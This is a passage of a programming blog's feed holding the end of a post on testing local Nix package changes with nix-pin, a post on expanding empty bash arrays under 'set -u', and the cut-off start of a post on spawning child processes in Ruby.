&lt;p&gt;The same can be done with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; - we can store the arguments to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fetchFromGitHub&lt;/code&gt; in a JSON file, and import that from our nix expression. It’s pretty easy to write a program to read &amp;amp; update a JSON file without needing to be able to edit nix source code. So I did, and it’s called &lt;a href=&quot;https://github.com/timbertson/nix-update-source&quot;&gt;nix-update-source&lt;/a&gt;. After &lt;a href=&quot;https://github.com/NixOS/nixpkgs/pull/21734&quot;&gt;&lt;em&gt;much&lt;/em&gt; debate&lt;/a&gt;, I finally got it merged only to have it &lt;a href=&quot;https://github.com/NixOS/nixpkgs/pull/21734#issuecomment-276030790&quot;&gt;reverted a week later&lt;/a&gt; by edolstra (the creator of nix himself!) because he disagreed with the approach :(&lt;/p&gt;

&lt;p&gt;So I ended up adding the option to modify nix source code inline (instead of generating JSON) using a hacky regex-based approach. For derivations that need to be accepted by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nixpkgs&lt;/code&gt;, this is best option to avoid causing a stink.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bonus tip&lt;/strong&gt;: you can add an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;updateScript&lt;/code&gt; attribute to embed your update process into each package itself (&lt;a href=&quot;https://github.com/NixOS/nixpkgs/blob/8d58b1a0a019bb00ac6fb1792fe36e81847b7c92/pkgs/tools/package-management/nix-update-source/default.nix#L30-L42&quot;&gt;here’s an example&lt;/a&gt;), and use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix-shell maintainers/scripts/update.nix --argstr package MY_PACKAGE&lt;/code&gt; to invoke it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Problems:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;This is an improvement, but (as in Step 1) it still requires all changes go through the release process &lt;em&gt;before&lt;/em&gt; you can test them.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;step-3-anonymous-git-shas&quot;&gt;Step 3: Anonymous git SHAs&lt;/h3&gt;

&lt;p&gt;Rather than fetching a specific git tag, you can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fetchgit&lt;/code&gt; to fetch a specific commit by its SHA. This means you can push commits to some testing branch, and use that to test out changes to your nix expression. When you’re happy, squash / rebase / merge the changes and update your commit to the published version.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Problems:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;You still need to push your commits somewhere public (e.g. github), so if you’re doing a lot of back and forth you’ll be committing / amending a commit, pushing, and then updating your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src&lt;/code&gt; attribute before you can test the new version.&lt;/li&gt;
  &lt;li&gt;People push back against using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fetchgit&lt;/code&gt; in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nixpkgs&lt;/code&gt; proper, since it’s less efficient than &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fetchFromGitHub&lt;/code&gt; (you’re cloning a full repo and depending on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git&lt;/code&gt;, rather than fetching a single tarball). And it’s hard to justify, since each of your updates &lt;em&gt;are&lt;/em&gt; to published versions, it’s only the work-in-progress versions which require anonymous commits.&lt;/li&gt;
  &lt;li&gt;You’ll want to script this somehow, because forgetting to update the commit ID or digest will silently run your old code instead of the code you think you’re testing.&lt;/li&gt;
  &lt;li&gt;You need to manage multiple branches if you don’t want testing commits going to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;master&lt;/code&gt;, and remember to update your commit ID and digest after merging / rebasing.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;step-4-add-a-second-derivation-which-uses-a-local-tarball&quot;&gt;Step 4: Add a second derivation which uses a local tarball&lt;/h3&gt;

&lt;p&gt;This technique involves multiple nix expressions - one for the local tarball version, and one for the official published version. You can go about this in a few ways:&lt;/p&gt;

&lt;p&gt;Option 1: use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;overrideDerivation&lt;/code&gt; to inject your local source, e.g.:&lt;/p&gt;

&lt;div class=&quot;language-nix highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# local.nix&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;nixpkgs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{};&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;lib&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;overrideDerivation&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;callPackage&lt;/span&gt; &lt;span class=&quot;sx&quot;&gt;./default.nix&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{})&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;orig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;nv&quot;&gt;src&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sx&quot;&gt;./local.tgz&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Option 2: inject &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src&lt;/code&gt; as part of a second set of arguments. e.g:&lt;/p&gt;

&lt;div class=&quot;language-nix highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# build.nix&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;stdenv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;lib&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;curl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;python&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}:&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;version&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}:&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;stdenv&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;mkDerivation&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kn&quot;&gt;inherit&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;src&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;c&quot;&gt;# ...&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Option 2 is nice from an engineering perspective - there’s no “default” &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src&lt;/code&gt;, you have to explicitly provide one. When using Option 1 it’s easy to accidentally reference &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src&lt;/code&gt; in a way that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;overrideDerivation&lt;/code&gt; would be unable to intercept (e.g. by referencing it in your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buildPhase&lt;/code&gt; directly), which ends up with very confusing issues.&lt;/p&gt;

&lt;p&gt;I did actually &lt;a href=&quot;https://github.com/NixOS/nixpkgs/pull/9653/files#diff-3865e7befdedc9b7f5e97b24b4e6d36c&quot;&gt;get away with this&lt;/a&gt;. But not without sideways glances from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nixpkgs&lt;/code&gt; maintainers about it being weird - it’s certainly not idiomatic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Problems:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;You still need to script the creation of a tarball somehow. I came up with &lt;a href=&quot;https://github.com/timbertson/app-customisations/blob/d8ebcd3e5a86e652991a7ba840da7d2d74cd84da/bin/git-current-tree&quot;&gt;a handy script&lt;/a&gt;, but it assumes you’re using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gup&lt;/code&gt; build system and I have to copy it into every project.&lt;/li&gt;
  &lt;li&gt;You need multiple nix expressions (local and published), which can get confusing.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A third option is just to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;./.&lt;/code&gt; as the source, skipping the whole tarball business. But I don’t like that, because:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;it’s unnecessarily slow and wastes disk space to copy the whole directory into a new store location on every build, including ignored files (not much fun with hundreds of megabytes of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;node_modules&lt;/code&gt; or built VM images)&lt;/li&gt;
  &lt;li&gt;now your derivation needs to handle &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src&lt;/code&gt; being either a directory or a tarball. &lt;a href=&quot;https://github.com/timbertson/opam2nix-packages/blob/dc53886bd073c066002d6cff7c34d0910a8aea33/nix/default.nix#L6&quot;&gt;It’s kind of awkward&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;step-5-use-local-tarballs-and-environment-variables&quot;&gt;Step 5: Use local tarballs &lt;em&gt;and&lt;/em&gt; environment variables&lt;/h3&gt;

&lt;p&gt;The trouble with having a separate nix expression for your local version is that it’s not used by anyone else. Let’s say I have a project &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;b&lt;/code&gt; which depends on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a&lt;/code&gt;. I need to add a feature or fix an issue with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;b&lt;/code&gt;, but that &lt;em&gt;also&lt;/em&gt; requires altering &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a&lt;/code&gt; in order to support that feature / fix.&lt;/p&gt;

&lt;p&gt;If I’m building &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a&lt;/code&gt; off a local tarball in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;local.nix&lt;/code&gt;, project &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;b&lt;/code&gt; won’t be able to see that since it’s using the official expression for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a&lt;/code&gt; (which lives in nixpkgs, or is perhaps fetched from git). I could modify &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a&lt;/code&gt; temporarily to use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;local.nix&lt;/code&gt; version instead, but that’s an awkward thing to juggle (and remember not to commit), especially when there are more than just two packages involved, and when this is a common part of your workflow. And if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a&lt;/code&gt; &lt;em&gt;is&lt;/em&gt; fetched from git instead of living in nixpkgs, then I’d also need to publish my changes before I can use them in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;b&lt;/code&gt;. And then what if I have a package &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c&lt;/code&gt; which wants to use my local modifications to both &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;b&lt;/code&gt;?&lt;/p&gt;

&lt;p&gt;So I started introducing environment variables to switch between published and development versions. e.g. each project depending on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;opam2nix&lt;/code&gt; would respect an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$OPAM2NIX_DEVEL&lt;/code&gt; variable which caused it import that derivation instead of the published &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;opam2nix&lt;/code&gt;. I could then set this variable while testing changes, and not worry about this change accidentally making its way into my source code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Problems:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Similar to “Step 4”, plus more complexity - even I get confused as to what version of which packages was being used where.&lt;/li&gt;
  &lt;li&gt;Nobody wants this in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nixpkgs&lt;/code&gt;, it’s ugly and weird.&lt;/li&gt;
  &lt;li&gt;I don’t think it would even work for a multi-user setup.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;step-6-nix-pin-for-development-nix-update-source-for-releases&quot;&gt;Step 6: &lt;a href=&quot;https://github.com/timbertson/nix-pin&quot;&gt;nix-pin&lt;/a&gt; for development, &lt;a href=&quot;https://github.com/timbertson/nix-update-source&quot;&gt;nix-update-source&lt;/a&gt; for releases&lt;/h3&gt;

&lt;p&gt;a.k.a hopefully the end of this journey?&lt;/p&gt;

&lt;p&gt;I have built what I think is a pretty workable solution for local testing while also keeping your derivations completely idiomatic for easy acceptance in nixpkgs.&lt;/p&gt;

&lt;p&gt;The development tool is called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix-pin&lt;/code&gt;, and it’s a small, generic tool for splicing local checkouts of a project into nixpkgs in an unobtrusive way. You can read &lt;a href=&quot;https://github.com/timbertson/nix-pin#nix-pin&quot;&gt;the readme&lt;/a&gt; for the full details, but the basic workflow is:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;checkout a project to work on (which contains its own nix expression)&lt;/li&gt;
  &lt;li&gt;add this project as a pin - you give it a name, a path, and the path to the nix expression inside the repo&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can now use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix-pin build&lt;/code&gt; / &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix-pin shell&lt;/code&gt; instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix-build&lt;/code&gt; / &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix-shell&lt;/code&gt;, to run a version of nixpkgs where the pins on your system are automatically spliced into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nixpkgs&lt;/code&gt;. You can explicitly &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;update&lt;/code&gt; a pin to include all uncommitted changes in your working directory, or pin a project to a specific git SHA. If you’re building a pinned package you’ll get the pinned version, and if you’re building any package that &lt;em&gt;depends&lt;/em&gt; on a pinned package&lt;sup id=&quot;fnref:depends&quot;&gt;&lt;a href=&quot;#fn:depends&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;, it’ll get be the pinned version which is injected.&lt;/p&gt;

&lt;p&gt;When it comes time to actually release commits that you’ve tested with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix-pin&lt;/code&gt;, you can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix-update-source&lt;/code&gt; (although you don’t have to if you have your own release workflow).&lt;/p&gt;

&lt;p&gt;It’s kind of simple when you describe it, but the big advantage is that &lt;em&gt;your nix expressions don’t need to be aware of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix-pin&lt;/code&gt;&lt;/em&gt;. Your nix expressions stay idiomatic for easy inclusion in nixpkgs, and &lt;em&gt;it already works&lt;/em&gt; with any idiomatic package definition you’ll find in nixpkgs.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix-pin&lt;/code&gt; is still experimental, and there’s a chance it might break under certain awkward cases. But I think the idea is sound, and I’d love to see it get more adoption within the community, because I really think it can make development with nix much less painful.&lt;/p&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:depends&quot;&gt;
      &lt;p&gt;If you’re wondering how that’s possible, the actual rule used is to substitute a pinned derivation whenever an argument whose name matches that pin’s name is provided by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;callPackage&lt;/code&gt;. This works out of the box for the huge majority of derivations. &lt;a href=&quot;#fnref:depends&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;

				
			</content>
		</entry>
	
		<entry>
			<title>Bash arrays and `set -u`</title>
			<link href="http://gfxmonk.net/2016/09/17/bash-arrays-and-set-u.html"/>
			<updated>2016-09-17T00:00:00+10:00</updated>
			<id>http://gfxmonk.net/2016/09/17/bash-arrays-and-set-u</id>
			<content type="html">
				
				&lt;p&gt;Often you need to progressively build up a set of commandline arguments in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bash&lt;/code&gt;, like so:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;&lt;span class=&quot;nv&quot;&gt;FLAGS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LOGFILE&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then
  &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FLAGS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$FLAGS&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; --log &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LOGFILE&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;fi
&lt;/span&gt;someprogram &lt;span class=&quot;nv&quot;&gt;$FLAGS&lt;/span&gt; ...&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This usually works, but is a bit rubbish:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;this will break if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$LOGFILE&lt;/code&gt; has a space in it, because &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bash&lt;/code&gt; will split it into multiple arguments&lt;/li&gt;
  &lt;li&gt;adding a flag is kind of tedious with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FLAGS=&quot;$FLAGS ...&quot;&lt;/code&gt; boilerplate&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$FLAGS&lt;/code&gt; ends up with a leading space, which is entirely fine but still feels ugly&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Arrays solve these issues nicely. They can store elements with spaces, and there’s a nice append syntax:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;&lt;span class=&quot;nv&quot;&gt;FLAGS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=()&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LOGFILE&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then
  &lt;/span&gt;FLAGS+&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;--log&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LOGFILE&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;fi
&lt;/span&gt;someprogram &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FLAGS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; ...&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;You need to remember the weird &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;${VAR[@]}&quot;&lt;/code&gt; syntax, but you get used to that (writing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;$@&quot;&lt;/code&gt; to pass along “all of this scripts arguments” is actually shorthand for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;${@[@]}&quot;&lt;/code&gt;, which may help you remember).&lt;/p&gt;

&lt;h1 id=&quot;problem-theres-no-such-thing-as-an-empty-array&quot;&gt;Problem: “there’s no such thing as an empty array”&lt;/h1&gt;

&lt;p&gt;The problem is that in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bash&lt;/code&gt;, &lt;em&gt;an empty array is considered to be unset&lt;/em&gt;. I can’t imagine any reason why this should be true, but that’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bash&lt;/code&gt; for you. My problem is that I always use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;set -u&lt;/code&gt; in scripts I write, so that a command will fail if I reference a variable which doesn’t exist (just like a &lt;em&gt;real&lt;/em&gt; programming language). But in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bash&lt;/code&gt;, this will fail:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ FLAGS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=()&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FLAGS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
bash: FLAGS[@]: unbound variable&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Ugh.&lt;/p&gt;

&lt;p&gt;The solution is &lt;em&gt;even more weird &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bash&lt;/code&gt; syntax&lt;/em&gt;:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FLAGS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]+&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FLAGS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;(thanks, &lt;a href=&quot;http://stackoverflow.com/questions/7577052/bash-empty-array-expansion-with-set-u&quot;&gt;Stack Overflow&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;Which roughly translates to “if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FLAGS[@]&lt;/code&gt; is set, then insert the value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FLAGS[@]&lt;/code&gt;, otherwise expand to nothing”.&lt;/p&gt;

&lt;p&gt;Note the placement of the quotes - quoting the &lt;em&gt;first&lt;/em&gt; instance of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;${FLAGS[@]}&lt;/code&gt; will lead to an empty string argument (instead of no argument) if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$FLAGS&lt;/code&gt; is empty. And failing to quote the second instance of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;${FLAGS[@]}&lt;/code&gt; will mean it breaks arguments on spaces, which was the whole reason we used an array in the first place.&lt;/p&gt;

&lt;h2 id=&quot;one-more-trick-in-your-bag-of-weird-bash-tricks&quot;&gt;One more trick in your bag of weird bash tricks&lt;/h2&gt;

&lt;p&gt;Depending on your outlook, this is either another useful trick to help you write more robust &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bash&lt;/code&gt;, or yet another example of how &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bash&lt;/code&gt; actively discourages decent programming practices, highlighting how you really really really shouldn’t use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bash&lt;/code&gt; for anything nontrivial.&lt;/p&gt;

				
			</content>
		</entry>
	
		<entry>
			<title>Running a child process in Ruby (properly)</title>
			<link href="http://gfxmonk.net/2016/08/02/running-a-child-process-in-ruby-properly.html"/>
			<updated>2016-08-02T00:00:00+10:00</updated>
			<id>http://gfxmonk.net/2016/08/02/running-a-child-process-in-ruby-properly</id>
			<content type="html">
				
				&lt;p&gt;(cross-posted on &lt;a href=&quot;https://medium.com/@tcuthbertson/febd0a2b6ec8&quot;&gt;the Zendesk Engineering blog&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;We use Ruby a lot at Zendesk, and mostly it works pretty well. But one thing that sucks is when it makes the wrong solution easy, and the right solution not just hard, but hard to even find.&lt;/p&gt;

&lt;p&gt;Spawning a process is one such scenario. Want to spawn a child process to run some system command? Easy! Just pick the method that’s right for you:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;`backticks`&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%x[different backticks]&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Kernel.system()&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Kernel.spawn()&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IO.popen()&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Open3.capture2&lt;/code&gt;&lt;/li&gt;
